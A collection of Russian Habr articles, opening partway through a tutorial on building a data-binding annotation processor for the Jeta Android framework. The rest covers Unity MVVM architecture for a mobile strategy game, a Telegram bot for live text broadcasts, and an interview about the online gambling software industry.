приводить скриншоты со структурой проекта. 2. common модуль Так как генерация кода происходит на стадии компиляции, и все сопутствующие для этого классы запускаются в отдельном окружении, нам понадобится модуль, который будет доступен и в рантайме и во время кода-генерации. Замечу, что это обычный Java-модуль, который будет содержать два файла — аннотацию DataBind и Metacode-интерфейс DataBindMetacode . 3. apt модуль apt модуль содержит необходимые для кода-генерации классы. Как уже было сказано, этот модуль зависит от common и будет доступен только на стадии компиляции. Как и common , это обычный Java-модуль, который будет содержать единственный файл — DataBindProcessor . Именно в этом классе мы будем обрабатывать DataBind аннотацию, парсить XML -лейаут и генерировать соответствующий мета-код. Обратите внимание что apt модуль также зависит от org.brooth.androjeta:androjeta-apt:+:noapt , таким образом получая доступ к классам фреймворка. 4. Подготавливаем app Прежде чем приступить непосредственно к генерации мета-кода, сначала мы должны подготовить наше приложение. Первый делом мы изменим наш лейаут: <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:androjeta="http://schemas.jeta.brooth.org/androjeta" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:id="@+id/firstName" androjeta:setText="master.user.firstName" android:layout_width="wrap_content" android:layout_height="wrap_content" /> <TextView android:id="@+id/lastName" androjeta:setText="master.user.lastName" android:layout_width="wrap_content" android:layout_height="wrap_content" /> </LinearLayout> Небольшое пояснение: мы объявили свой namespace с префиксом “androjeta” и добавили двум TextView атрибуты androjeta:setText с DB -выражениями. Так мы сможем найти и обработать эти выражения в DataBindProcessor , сгенерировав соответствующий мета-код. package org.brooth.androjeta.samples.databinding; import android.app.Activity; import android.os.Bundle; @DataBind(layout = "activity_main") public class MainActivity extends Activity { final User user = new User("John", "Smith"); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); MetaHelper.applyDataBinding(this); } } Тут важным являются две вещи. Во-первых, мы добавили на активити аннотацию @DataBind , которую ранее мы создали в common модуле. Таким образом, на стадии генерации Jeta найдет этот класс и передаст его в DataBindProcessor . Во-вторых, после того, как мы установили лейаут, мы вызываем MetaHelper.applyDataBind(this) . C помощью таких статических методов проще обращаться к мета-коду. Давайте создадим этот класс. package org.brooth.androjeta.samples.databinding; import org.brooth.jeta.metasitory.MapMetasitory; import org.brooth.jeta.metasitory.Metasitory; public class MetaHelper { private static MetaHelper instance = new MetaHelper("org.brooth.androjeta.samples"); private final Metasitory metasitory; private MetaHelper(String metaPackage) { metasitory = new MapMetasitory(metaPackage); } public static void applyDataBinding(Object master) { new DataBindController<>(instance.metasitory, master).apply(); } } MetaHelper — необязательный класс. Это способ организации обращение к мета-коду. Он служит исключительно для удобства. Подробней об этом классе можно прочитать на этой странице . Тут же нам важно, что метод applyDataBinding передает работу DataBindController -у: package org.brooth.androjeta.samples.databinding; import org.brooth.jeta.MasterController; import org.brooth.jeta.metasitory.Metasitory; public class DataBindController<M> extends MasterController<M, DataBindMetacode<M>> { public DataBindController(Metasitory metasitory, M master) { super(metasitory, master, DataBind.class); } public void apply() { for(DataBindMetacode<M> metacode : metacodes) metacode.apply(master); } } Напомню, контроллеры — это классы, которые применяют мета-код к мастерам. Больше информации можно найти на этой странице . На последнем шаге нам нужно добавить DataBindProcessor в список процессоров, которые Jeta вызывает для генерации мета-кода. Для этого в корневом пакете app модуля ( app/src/main/java ) мы создадим файл jeta.properties с содержимым: processors.add = org.brooth.androjeta.samples.databinding.apt.DataBindProcessor metasitory.package = org.brooth.androjeta.samples application.package = org.brooth.androjeta.samples.databinding Подробнее об этом файле и о доступных настройках вы можете найти на этой странице . 5. DataBindProcessor Думаю, излишне будет комментировать каждый шаг процессора, т.к. ничего инновационного они не содержат. Достаточно описать основные моменты: мы проходимся SAX -парсером по XML -лейауту, находим DB -выражения и генерируем соответствующий Java-код. Нужно заметить, что Jeta использует JavaPoet — замечательную библиотеку от Square для генерации Java-кода. Рекомендую пройтись по README , если соберетесь писать свой процессор. Ниже привожу исходный код DataBindProcessor : package org.brooth.androjeta.samples.databinding.apt; import com.squareup.javapoet.ClassName; import com.squareup.javapoet.MethodSpec; import com.squareup.javapoet.ParameterizedTypeName; import com.squareup.javapoet.TypeSpec; import org.brooth.androjeta.samples.databinding.DataBind; import org.brooth.androjeta.samples.databinding.DataBindMetacode; import org.brooth.jeta.apt.ProcessingContext; import org.brooth.jeta.apt.ProcessingException; import org.brooth.jeta.apt.RoundContext; import org.brooth.jeta.apt.processors.AbstractProcessor; import org.xml.sax.Attributes; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; import java.io.File; import java.io.FileNotFoundException; import javax.lang.model.element.Modifier; import javax.lang.model.element.TypeElement; import javax.xml.parsers.SAXParser; import javax.xml.parsers.SAXParserFactory; public class DataBindProcessor extends AbstractProcessor { private static final String XMLNS_PREFIX = "xmlns:"; private static final String ANDROID_NAMESPACE = "http://schemas.android.com/apk/res/android"; private static final String ANDROJETA_NAMESPACE = "http://schemas.jeta.brooth.org/androjeta"; private ClassName textViewClassname; private ClassName rCLassName; private String layoutsPath; private String androidPrefix; private String androjetaPrefix; private String componentId; private String componentExpression; public DataBindProcessor() { super(DataBind.class); } @Override public void init(ProcessingContext processingContext) { super.init(processingContext); layoutsPath = processingContext.processingEnv().getOptions().get("layoutsPath"); if (layoutsPath == null) throw new ProcessingException("'layoutsPath' not defined"); String appPackage = processingContext.processingProperties().getProperty("application.package"); if (appPackage == null) throw new ProcessingException("'application.package' not defined"); textViewClassname = ClassName.bestGuess("android.widget.TextView"); rCLassName = ClassName.bestGuess(appPackage + ".R"); } @Override public boolean process(TypeSpec.Builder builder, final RoundContext roundContext) { TypeElement element = roundContext.metacodeContext().masterElement(); ClassName masterClassName = ClassName.get(element); builder.addSuperinterface(ParameterizedTypeName.get( ClassName.get(DataBindMetacode.class), masterClassName)); final MethodSpec.Builder methodBuilder = MethodSpec. methodBuilder("apply") .addAnnotation(Override.class) .addModifiers(Modifier.PUBLIC) .returns(void.class) .addParameter(masterClassName, "master"); String layoutName = element.getAnnotation(DataBind.class).layout(); String layoutPath = layoutsPath + File.separator + layoutName + ".xml"; File layoutFile = new File(layoutPath); if (!layoutFile.exists()) throw new ProcessingException(new FileNotFoundException(layoutPath)); androidPrefix = null; androjetaPrefix = null; try { SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); saxParser.parse(layoutFile, new DefaultHandler() { @Override public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { for (int i = 0; i < attributes.getLength(); i++) { if (androidPrefix == null && attributes.getQName(i).startsWith(XMLNS_PREFIX) && attributes.getValue(i).equals(ANDROID_NAMESPACE)) { androidPrefix = attributes.getQName(i).substring(XMLNS_PREFIX.length()); continue; } if (androjetaPrefix == null && attributes.getQName(i).startsWith(XMLNS_PREFIX) && attributes.getValue(i).equals(ANDROJETA_NAMESPACE)) { androjetaPrefix = attributes.getQName(i).substring(XMLNS_PREFIX.length()); continue; } if (componentId == null && androidPrefix != null && attributes.getQName(i).equals(androidPrefix + ":id")) { componentId = attributes.getValue(i).substring("@+id/".length()); continue; } if (componentExpression == null && androjetaPrefix != null && attributes.getQName(i).equals(androjetaPrefix + ":setText")) { componentExpression = attributes.getValue(i); } } } @Override public void endElement(String uri, String localName, String qName) throws SAXException { if (componentExpression == null) return; if (componentId == null) throw new ProcessingException("Failed to process expression '" + componentExpression + "', component has no id"); methodBuilder.addStatement("(($T) master.findViewById($T.id.$L))\n\t.setText($L)", textViewClassname, rCLassName, componentId, componentExpression); componentId = null; componentExpression = null; } } ); } catch (Exception e) { throw new ProcessingException(e); } builder.addMethod(methodBuilder.build()); return false; } } 6. Использование Для начала удостоверимся, что все работает. Для этого в директории проекта выполним команду: ./gradlew assemble Если в выводе нет никаких ошибок, и вы видите запись: Note: Metacode built in Xms значит все ОК, и по пути /app/build/generated/source/apt/ мы сможем увидеть сгенерированный код: Как видно, мета-код отформатирован и хорошо читаем, следовательно, его легко отлаживать. Так же, важным плюсом является то, что все возможные ошибки обнаружатся на стадии компиляции. Так, если добавить @DataBind на Activity у которой нет поля user , передать в параметры неправильное название лейаута или ошибиться в DB -выражении, то сгенерированный код не скомпилируется и проект не соберется. На этом этапе вы можете запустить приложение, и, как ожидается, на экране вы увидите данные о пользователе user . 7. Заключение . Прошу отнестись к примеру именно как к Proof-Of-Concept , а не как к готовому решению. К тому же, его задача — продемонстрировать работу фреймворка, и не факт, что Jeta-DB пойдет в лайв. Собственно, обещанный интерактив. Напишите в комментариях, что бы вы хотели видеть в Data-Binding -е. Возможно, вам не хватает каких — то возможностей в реализации от Google. Возможно, вы хотите избавиться от какого-то еще boiler-plate кейса. Также, буду благодарен за любые другие замечания или пожелания. Я, в свою очередь, постараюсь выбрать самое интересное и реализовывать в будущих версиях. Спасибо, что дочитали до конца. Happy code-generating! :) » Официальный сайт » Исходный код примера на GitHub » Jeta на GitHub » Androjeta на GitHub
https://habrahabr.ru/post/317970/
habrahabr
Особенности разработки мобильной MMO RTS. Часть 1
['Unity', 'development', 'gamedev', 'c#', 'UI', 'RTS', 'games', 'разработка', 'стратегии']
В цикле статей «Особенности разработки мобильной MMO RTS» мы расскажем о работе большой команды над масштабным проектом Stormfall: Rise of Balur. Этот опыт будет полезен независимым разработчиками...
В цикле статей «Особенности разработки мобильной MMO RTS» мы расскажем о работе большой команды над масштабным проектом Stormfall: Rise of Balur. Этот опыт будет полезен независимым разработчиками и студиям, которые еще не определились с выбором технологий, архитектуры и структуры команды для своей RTS. Выбор Unity. Преимущества и недостатки Основным аргументом в пользу Unity был C#. Но есть и другие плюсы: В Unity достаточно низкий порог входа для разработчиков. Unity берет на себя все вопросы, связанные с совместимостью и корректной работой приложения на разных платформах. Нам только нужно убедиться в работоспособности билда в Unity Editor, проверить его на ключевых девайсах, а затем контролировать работу приложения через службы краш-репортов и наших Community Managers. Мы оповещаем о проблемах ребят из Unity, они это фиксят регулярными патч-релизами, а мы после этого выпускаем хот-фикс. Unity обеспечивают высокий уровень поддержки разработчиков. Стандартные ответы от агентов – редкость. Если вопрос содержит подробное описание проблемы, скриншоты и тестовый проект для запуска, вы получите исчерпывающий ответ с советами по выходу из ситуации. Теперь о плохом: Низкий порог входа имел свои недостатки. Соискатели, которых мы собеседовали, неплохо знали Unity, но плохо – C#. Мы пришли к выводу, что лучше искать разработчиков с глубоким пониманием C# и желанием изучить самый популярный игровой движок. Нестабильное качество релизов. Особенно это касается патчей. Unity советует ставить их только тогда, когда они исправляют баг, затрагивающий ваш проект. Но что-то может сломаться в другом месте. Странные приоритеты в Roadmap. Например, долгие исследования полиморфной сериализации или вложенных префабов. Я думаю, что Unity пытается догнать своих ближайших конкурентов по качеству графики и не реализует фичи, которые очень сильно упростили бы разработку крупных проектов. Закрытая платформа. При возникновении проблем, решение которых зависит от Unity, у вас нет других вариантов, кроме как ждать нужного релиза. Архитектура Если вы хотите прийти на рынок надолго, нужно хорошо подумать над архитектурой приложения. Если вы всё продумаете, сможете быстро и легко добавлять новые фичи и изменять старые. В сети есть куча статей по этой теме, но я хочу обратить внимание на несколько важных моментов: Выберите шаблон архитектуры на начальном этапе разработки и всегда придерживайтесь его. Для Unity-проектов это нужно, чтобы понять, как именно будет происходить обмен данными между UI и бизнес-логикой. Ваша задача сделать обмен однотипным, понятным и прозрачным. Не пытайтесь описать архитектуру целиком до начала проекта. Она начинает вырисовываться только на стадии разработки. Для старта достаточно следовать принципам выбранного шаблона и постепенно оформлять похожие механизмы в виде архитектурных решений. Но всё же на начальном этапе разработки архитектуре стоит уделять больше внимания, чем созданию новой функциональности. Закладывайте в сроки время на проведения рефакторинга для внедрения новых архитектурных решений. Создавайте ограничения на работу в коде, просто обсуждений недостаточно. Вы договариваетесь с командой, что какой-то объект можно использовать только определенным образом, из какого-то потока или для специфических условий. Проходит пару недель, и кто-то обязательно принимается использовать этот объект не там где нужно и не тем способом, о котором договаривались, что зачастую приводит к сложным для определения проблемам. Придерживайтесь принципов SOLID, но без фанатизма. Здравый смысл никто не отменял. Представьте, что у вас есть 2 пути. Первый – реализовать продуманное модульное техническое решение, которое легко расширяется в любом месте. Второй – выполнить бизнес-задачи в ограниченные сроки, но тогда вся красота технического решения «по барабану». В этом случае выбирайте второй путь. Не опускайтесь до разработки ради разработки. Принимайте важные решения вместе с командой. Попытайтесь для обсуждения предоставлять несколько вариантов с плюсами и минусами каждого из подходов. Почему MVVM Шаблон хорошо знаком WPF-разработчикам, и его суть в том, что при разделении модели данных от представления используется «связывание данных». Модель, как и MVC, представляет собой фундаментальные данные приложения и различные механизмы их обработки. Представление – это объекты графического интерфейса. Они являются подписчиками на события изменений значений свойств, которые предоставляются Моделью представления. Модель представления – агрегация необходимых для представления данных из модели. Она содержит команды, через которые представление может влиять на модель. Из-за особенностей нашего приложения мы выбрали архитектурный шаблон MVVM. В отличии от MVC/MVP, он обеспечивает более высокий уровень абстрагирования UI от логики и данных, с которыми UI работает. Model Модель в нашем приложении – это расшаренные с сервером классы с данными, механизмы их обработки и команды. Данные группируются по назначению в классах, которые также дают методы для доступа и обработки. Всё это предоставляется через фасадный объект для доступа из ViewModel. Команды являются единственными механизмами, через которые представление может влиять на Модель. Они представляют собой абстракцию для совершения операций, которая изменяет локальную модель, а также инкапсулирует логику синхронизации данных с сервером. Все команды являются обертками над HttpWebRequest и выполняются асинхронно (Asynchronous Programming Model). Для WebGL-билда команды являются обертками над Unity WWW классом, который выполняется через корутины. Для коммуникации с сервером данные сериализуются в JSON-формат. Из-за асинхронного выполнения колбеков команд в других потоках из ThreadPool, а также из-за механизма динамической актуализации модели, который выполняется в отдельном потоке, необходима синхронизация доступа к данным. Эта логика инкапсулирована в фасадном объекте доступа к модели, который я описал раньше. ViewModel Слой ViewModel нашего приложения является самым объемным по количеству кода. По сути вся основная разработка фич происходит на этом уровне. На этом слое данные из разрозненных объектов модели собираются вместе для того, чтобы быть представленными пользователю во View. ViewModel никак не завязана на реализацию View, но сам набор и формат данных напрямую зависит от того, как именно они будут представлены в UI. Также на этом слое реализованы различные механизмы, которые могут не иметь UI, но необходимы для функционирования приложения: различные менеджеры для работы с социальными сетями и прочее. Наша ViewModel оперирует несколькими базовых понятиями, среди них Property и Context. Property – это кастомная generic реализация паттерна ObservableObject. Контексты выступают в качестве контейнеров для Property и других Context. Context так же инкапсулирует логику поиска пропертей и логику активации и деактивации контекстов. Это необходимо в качестве оптимизации, чтобы контексты объектов, которые в UI, например, перекрыты чем-то, не ловили события и лишний раз не обновлялись. Механизм поиска у нас реализован через рефлексию и работает только в момент, когда какой-то UI элемент хочет забиндиться на Property из ViewModel и является далеко не самым узким местом по производительности. View Слой View отвечает за UI. Именно на этом уровне коду становится известно, что он работает в Unity. Группы объектов на этом уровне представлены: Механизмом биндингов. Объектами ContextBox – скриптами MonoBehaviour, которые являются базовыми для всех объектов, которые планируют использовать ViewModel, так как создают и контролируют жизненный цикл контекстов из ViewModel. Кастомными компонентами Unity, необходимыми для геймплея. UI-скриптами, например NGUI или Unity UI. Реализованный у нас механизм биндингов работает так: На GameObject вешается UI-скрипт Label. На тот же GameObject вешается скрипт LabelBinding, он параметром принимает ссылку на Label, c которой и работает. Далее указывается путь к Property в ViewModel в строковом виде, с которой GameObject должен связаться. При Awake биндинг через ContextBox ищет в Context нужную ему Property по пути и, если находит, подписывается на её изменения. При изменении значения Property во ViewModel UI тут же реагирует на эти изменения и отображает их в ассоциированной Label. Пока всё. Во второй части поговорим о многопоточности, работе со скинами, выполнении запросов и их кэшировании.
https://habrahabr.ru/company/plarium/blog/317976/
habrahabr
Journalist – ведём текстовые онлайн трансляции через Telegram
['telegram', 'telegram bots', 'bot', 'трансляция', 'сервисы']
Текстовые трансляции всё больше входят в нашу жизнь. Благодаря современным технологиям, они становятся всё более привлекательным способом доносить информацию в реальном времени до большой...
Текстовые трансляции всё больше входят в нашу жизнь. Благодаря современным технологиям, они становятся всё более привлекательным способом доносить информацию в реальном времени до большой аудитории. Даже здесь, на Хабре, уже не раз проводились текстовые трансляции различных мероприятий. Реализуют такие трансляции все по разному. Кто-то использует внутренний функционал сайта, другие используют готовые сервисы, третьи – вовсе редактируют обычные текстовые посты, вынуждая своих пользователей постоянно обновлять страницу или делая это за них простейшими скриптами. Мне давно не давала покоя мысль, что подобные трансляции очень похожи на то, как мы делимся своими впечатлениями в мессенджерах с друзьями и знакомыми. И это действительно удобно. Мы просто рассказываем им свою историю. Так родилась идея создать сервис текстовых трансляций, основным и единственным интерфейсом которого является Telegram бот. Встречайте – Journalist . Всё что нужно сделать, для того, чтобы создать свою трансляцию – добавить себе в контакты бота , нажать соответствующую кнопку его клавиатуры и ввести название трансляции. Всего несколько секунд – и вы в эфире. На сегодняшний день это самый быстрый способ, среди аналогичных сервисов, а учитывая динамичную природу событий, обозреваемых такими трансляциями – это серьёзное конкурентное преимущество. После создания трансляции бот выдаст ссылки на публичную страницу трансляции и на страницу предпросмотра, а также html-код для вставки трансляции на сайт и команду для приглашения других редакторов к ведению трансляции. Взаимодействие с ботом построено таким образом, чтобы это был действительно удобный способ ведения трансляции. Конечно же, комфортнее всего это будет делать сидя за компьютером, имея под рукой быстрый интернет и неспешно попивая любимый горячий напиток. Но в то же время, для полноценной работы достаточно телефона или планшета и, благодаря нетребовательности Telegram'a к качеству соединения, хоть какого-нибудь интернета. Это даёт возможность работать в полевых условиях и оставаться продуктивным, радуя своих читателей интересным материалом с места события. В связи с этим я с гордостью могу назвать JournalistBot одним из первых Telegram ботов предназначенных для создания профессионального контента. Возможности Сервис уже предоставляет весь необходимый функционал для ведения современных текстовых трансляций. В тексте сообщений поддерживается Markdown разметка, соответственно посты можно красиво форматировать. Фотографии можно отправлять непосредственно в чат, как изображение или как ссылку. В обоих случаях оно будет правильно вставлено в трансляцию. Также поддерживаются ссылки на встраиваемые ресурсы: YouTube, Vimeo, Twitter, Instagram и т.п. У редактора нет необходимости идти на сайт целевого сервиса и получать код для вставки, бот берёт эту задачу на себя. Кроме того, у редактора есть возможность отправить в чат голосовое сообщение, видео с камеры, местоположение или даже стикер. Всё это будет мгновенно доставлено читателям трансляции. Посты собираются из сообщений и не видны читателям до нажатия кнопки «Опубликовать». При этом редакторы могут видеть составляемый пост на странице предпросмотра. Если опечатка всё же осталась незамеченной до самой публикации или опубликовали не то, что хотели – это не беда, можно исправить сообщение, отредактировав его стандартными средствами или удалить его из трансляции, отправив команду «Удалить» в качестве ответа (Reply) на это сообщение. Изменения автоматически отобразятся у всех читателей трансляции. Для работы в команде есть возможность подключения нескольких редакторов к одной трансляции. Для этого после создания трансляции, бот, вместе с остальной информацией, присылает команду /join <токен> . Отправив эту команду боту, другой редактор присоединится к ведению трансляции. Сообщения от каждого редактора формируют отдельные посты, поэтому, работая параллельно, они не будут мешать друг другу. Для таких трансляций существует возможность отображения автора каждого поста, которая включается в настройках. Целевая аудитория В качестве целевой аудитории в первую очередь рассматриваются сайты СМИ и блогеры. В данном случае сценарии использования очевидны, а выгода от использования сервиса состоит в том, что не нужно беспокоиться о технической составляющей трансляции и можно быть уверенным, что сотни и тысячи пользователей получат обновления максимально быстро. Как выглядит реальная трансляция, встроенная в блог, можно посмотреть тут . Однако ничего не мешает обычным пользователям, не занимающимся на регулярной основе проведением подобных трансляций, взять и попробовать, ведь у трансляции есть публичная страница ( пример ), ссылку на которую достаточно распространить среди своих читателей. Поэтому, если взять совершенно противоположный СМИ пример, можно, поехав на отдых, создать трансляцию и отправить ссылку на неё своим друзьям, чтобы держать их в курсе своих приключений. Бот позволяет одновременно вести несколько трансляций и переключаться между ними через меню. Под капотом Сервис полностью реализован на node.js и спроектирован таким образом, чтобы его можно было легко горизонтально масштабировать. Это позволяет наложить на него модель: есть аудитория → есть деньги → добавляем сервера. Как показала практика, такой подход очень удобен из-за того, что нет необходимости стартовать на дорогом оборудовании и так и не дождаться своего highload, при этом при росте нагрузки иметь возможность быстро на это отреагировать, без необходимости «переписывать всё с нуля». Вся система развёрнута в Docker-контейнерах, которые автоматически собираются в GitLab CI, это очень сильно упрощает деплой системы и делает её обновление и расширение ещё более тривиальным процессом. Хранилище файлов также реализовано таким образом, чтобы в любой момент можно было легко мигрировать на сервисы вроде Amazon S3 и внедрить CDN. Клиенты получают обновления через Websocket. Большой упор сделан на производительность. Загружая страницу, пользователь не замечает отдельной подгрузки трансляции, страница выглядит монолитно. Пока это работает не в 100% случаев, но после расширения сети серверов и гео-распределения запросов, всё должно стать ещё намного лучше. Однако уже сейчас задержка минимальна. Это в свою очередь влияет на SEO-оптимизацию. Трансляции, вставленные на сайт, будут индексироваться всеми современными поисковыми системами, т.к. производится лишь необходимый минимум манипуляций с DOM и поисковые системы готовы их дождаться при индексировании страницы. Известные проблемы Т.к. клавиатуры ботов в Telegram появились относительно не так давно, ещё не все с ними гладко. Например, есть проблема в клиенте под Android – при ответе на сообщение (Reply) клавиатура бота пропадает и нет возможности её вызвать. Это делает затруднительным изменение типа поста и его удаление. Пока в качестве workaround можно отправить эту команду кнопкой в чат, а потом скопировать его в ответ на сообщение. Надеюсь, что в ближайшее время это будет исправлено разработчиками клиента. Под iOS и Mac OS этой проблемы нет. На данный момент нет возможности использовать бота в групповом чате, что было бы очень удобно для работы в команде. И дело снова в клавиатуре бота. В групповом чате нажатие клавиш отправляет сообщение всегда как ответ на сообщение бота и нет возможности отправить его просто в чат, как новое. Это делает проблематичным реализацию того же функционала, который доступен в приватном чате, так что ждём, пока в Telegram появится соответствующая возможность или пока в голову не придёт хорошая идея, как это ограничение красиво обойти. Будущее Сейчас я хочу получить отклик от потенциальных пользователей сервиса, понять, насколько он востребован, какие функции они хотели бы в нём видеть. Конечно же при этом у меня есть свой план развития функционала, который я постепенно реализовываю параллельно с внесением изменений по отзывам первых пользователей. Например, одним из ближайших крупных обновлений должно стать получение статистики по читателям трансляции в интерфейсе бота. Неделю назад, неожиданно для меня, проект был зафичерен на ProductHunt , попал на главную страницу и собрал неплохое количество голосов, хотя если бы это был подготовленный запуск, можно было бы достичь гораздо лучшего результата. С одной стороны, такой спонтанный запуск немного сорвал мои планы, но с другой – это означает, что проект всё же востребован. Жду ваших отзывов и ваших трансляций. С удовольствием отвечу на вопросы в комментариях, так же можно писать на почту mail@journali.st . Спасибо за внимание.
https://habrahabr.ru/post/317974/
habrahabr
Игра по правилам
['азартные игры', 'iGaming', 'онлайн-казино', 'html5', 'gamedev', 'gamedevelopment']
Игорь Кожуренко — лидер направления iGaming в DataArt — о традиционных и онлайн-казино, регулировании рынка азартных игр в разных странах, о моде на виртуальную реальность и поиске художников и...
Игорь Кожуренко — лидер направления iGaming в DataArt — о традиционных и онлайн-казино, регулировании рынка азартных игр в разных странах, о моде на виртуальную реальность и поиске художников и инженеров. Об индустрии iGaming Компании, предоставляющие игровые онлайн-сервисы, всегда готовы к быстрому внедрению инноваций, и многие идеи впервые воплощаются именно в iGaming. Этому есть несколько причин. Первая — борьба за клиентов: чем лучше сервис, тем, понятное дело, больше будет пользователей. Вторая — кэш-флоу. Успешные компании этого рынка не нуждаются в дополнительных инвестициях, у них есть деньги, и они с удовольствием инвестируют их в разработку и развитие, если понимают, что это действительно нужно. Последние полтора года мы активно строим iGaming-экспертизу, которая, надеюсь, будет официально превращена в индустриальную практику в ближайшее время. Рынок у этой индустрии очень большой, и работают на нем компании самого разного типа. Но мы фокусируемся на больших корпорациях, годовые обороты которых измеряются миллиардами долларов, и делаем это успешно — за последний год мы подписали пять новых клиентов. О поиске талантов В прошлом сентябре мы построили внутри DataArt game development-студию. Начинали с нуля и честно сказали нашему первому клиенту — Glück Games, что на данный момент экспертизы внутри компании нет, но есть опытные люди, готовые сформировать команду. Мы нашли художников и JavaScript GameDev-разработчиков, сделали проект, а сейчас наша студия работает сразу с тремя-четырьмя компаниями. Люди, имеющие опыт в GameDev, без работы никогда не сидят; поэтому их поиск — важное направление, которое мы также развиваем в рамках своей экспертизы. Внутри DataArt мы привлекаем разработчиков за счет интересных проектов и отличной обстановки, кроме того, мы подготовили собственный обучающий курс. С точки зрения самих технологий сходства с другими индустриями у нас гораздо больше, чем различий. Например, платформы для спортивных ставок очень похожи на трейдинговые платформы. Здесь так же высоки требования к бэкенд-разработке: огромные потоки данных, большое количество пользователей, подключенных через десктопы и мобильные устройства, необходимость постоянной оптимизации потока данных, мощный пласт аналитики. При этом острая конкуренция в iGaming заставляет постоянно двигаться вперед. О трендах Гемблинговые компании идут в авангарде, например, на таких сверхпопулярных направлениях как виртуальная, добавленная и смешанная реальность. На выставке ICE Totally Gaming в Лондоне в феврале 2016 года было только два стенда компаний, представлявших технологии виртуальной реальности. На Global Gaming Expo в Лас-Вегасе в сентябре я таких стендов насчитал девять. Тенденция прослеживается, на следующем ивенте их будет штук 15-20, а то и больше. У нас пока нет готовых продуктов с использованием этих технологий, но уже есть тестовые стенды. Разработчики видят в этом огромные перспективы, операторы пока настроены менее оптимистично, но за этот год многие компании успели выпустить прекрасные VR-продукты. У нас есть предложения для классических land-based casinos по дополнению слот-машин виртуальной реальностью или полной замене классических автоматов. Это может привлечь новых людей, особенно молодежь — в land-based casinos обычно ходят люди постарше, но такие технологичные решения способны изменить ситуацию. Очень интересно следить за ситуацией с augmented reality, тем более успех покемонов доказал ее перспективность. Мы сами придумали несколько кейсов для традиционных казино, и переговоры с операторами идут очень позитивно. Сейчас прослеживается следующий тренд: если 20 лет назад все автоматы были механическими — из них с соответствующим звуком сыпались монетки,— то сейчас в казино тихо. Поэтому атмосфера уже не та, что была раньше. Здесь с помощью augmented reality можно придумать множество дополнительных развлечений, за которыми люди в общем-то и приходят в казино. Это особенно заметно в Лас-Вегасе, куда люди давно приезжают не в надежде разбогатеть, а чтобы просто отдохнуть, часто целыми семьями. Его посещает 40 миллионов человек в год, и по моим ощущениям, сами казино, в которые и так можно ходить как в музей, там далеко не главное. Лас-Вагес похож на роскошный Диснейленд, с огромным количеством самых разных шоу, и технологии дополненной реальности в игровых залах там тоже будут выглядеть органично. О проектах Разработка одной онлайн слот-игры в среднем длится три-четыре месяца, и занимается ей команда из пяти человек. По большому счету, здесь все то же самое, что в проектах других индустрий: есть UI, есть бэкенд, протоколы коммуникации. Но важны даже различия в терминологии. Например, дизайнер в game development называется graphics artist, PM — гейм-продюсером, бизнес-аналитик — game designer. Спецификация называется des doc — design document. Плюс здесь есть еще и эксперты, которые занимаются анимацией и пишут музыку. Многие очень большие компании обслуживают land-based казино: слот-машины, table games и т. д. Ввиду всеобщего ухода в интернет, потребность также пойти в онлайн возникает и у них: они хотят подготовить свои успешные игры для веба и мобильных телефонов. Здесь на первом месте JavaScript-технологии HTML5: мы берем assets, геймплей игры, написанной на С++ или другом языке, и в неизменном виде переводим ее в формат, подходящий для интернета. От крупного клиента в Великобритании ReflexGaming, например, мы получили набор графики объемом больше 1 Гб. Но совместными усилиями наших с заказчиком художников и разработчиков сделали игру весом 40 Мб, ничем не отличающуюся от исходной по функционалу. Сейчас с несколькими крупными компаниями мы проводим переговоры о переводе их land-based-игр в онлайн, основываясь на этом кейсе. Отдельная категория, которую мы бы очень хотели развивать, это social casinos. В отличии от классического онлайн-казино, в них ты играешь не на деньги, а используя виртуальные фишки. Допустим, в день выдается 5000 фишек, ты на них играешь, развлекаешься, а когда они закончились, можешь либо просто дождаться следующего дня, либо докупить их уже за реальные деньги. Пока опыта на этом участке у нас нет, но переговоры с первым крупным клиентом мы у же ведем. Кроме самого game development, у нас есть проекты для больших клиентов, включающие back-end и front-end, фулл-стек разработку для веб- и мобильных сервисов. Через game development заходить к ним проще, но мы используем это преимущество, чтобы развиваться и покрывать потребности наших клиентов уже в других областях, обслуживая внутренние системы маркетинга и аналитики. О прозрачности Правила игры всегда четко определены — то, что казино обманывает людей, это миф. Любое land-based casino — абсолютно прозрачная организация, где понятно, откуда берутся деньги, где можно найти информацию о том, какие и когда выпали выигрыши. Казино любят этими данными делиться, поскольку это важный метод привлечения клиентов. Например, для каждой слот-игры в онлайн-казино написаны параметры, основной — rtp, “return to player” — процент денег, который автомат возвращает игрокам. Он может отличаться волатильностью — это могут быть много маленьких выигрышей или совсем немного больших — но в среднем rtp внутри индустрии составляет 95—97%. То есть, казино забирает только 3-5 % оборота, оставшаяся сумма тем или иным образом распределяется между клиентами. Основные параметры задаются как исходные, но всю внутреннюю математику мы просчитываем: сколько в слоте элементов, какие в него встроены мини-игры и т. д. Мы готовим такие расчеты на границе бизнес-аналитики и математики: теории вероятности, комбинаторики. Причем мы в рамках нашей экспертизы в этой части работаем не только с классическими слот-играми, но и с играми на ловкость и умение — skill games. О региональных отличиях Основная для нашей работы страна — Великобритания. Исторически она наиболее стабильна, все правила там понятны, законодательство меняется редко, а ситуация с налогами абсолютно прозрачная. Кроме Великобритании, важнейшие для нас регионы — Западная Европа: Швеция, Германия, Мальта и Гибралтар. И, конечно, мы работаем с мультинациональными корпорациями, головные офисы которых находятся в США. Региональные различия зависят от существующих законов. Где-то разрешены и онлайн-гемблинг, и традиционные land-based-казино, где-то легален только land-based, в некоторых странах компания может заниматься iGaming только при наличии обычного казино. В Америке эти вопросы регулируются на уровне отдельных штатов. В Западной Европе в последние годы заметна тенденция к либерализации законодательства в отношении азартных игр. Например, в Швейцарии гемблинг разрешен только в land-based-казино, но в парламенте уже идут дискуссии о легализации деятельности онлайн. В Швеции рынок монополизирован государством, но и здесь в парламенте уже лежит бумага о допуске на рынок иностранных компаний. И вообще из года в год рынок расширяется, включая все новые страны. Индустрия обеспечивает хороший доход государству, к тому же, если эта деятельность зарегулирована, нечестным игрокам в ней места практически не остается. О разных играх Слот-машины — системообразующий бизнес любого казино. Но у нас, например, есть клиент, очень крупный lottery-оператор, для которого мы делаем игры, которые заполняют свободную нишу между лотереями и классическим казино. 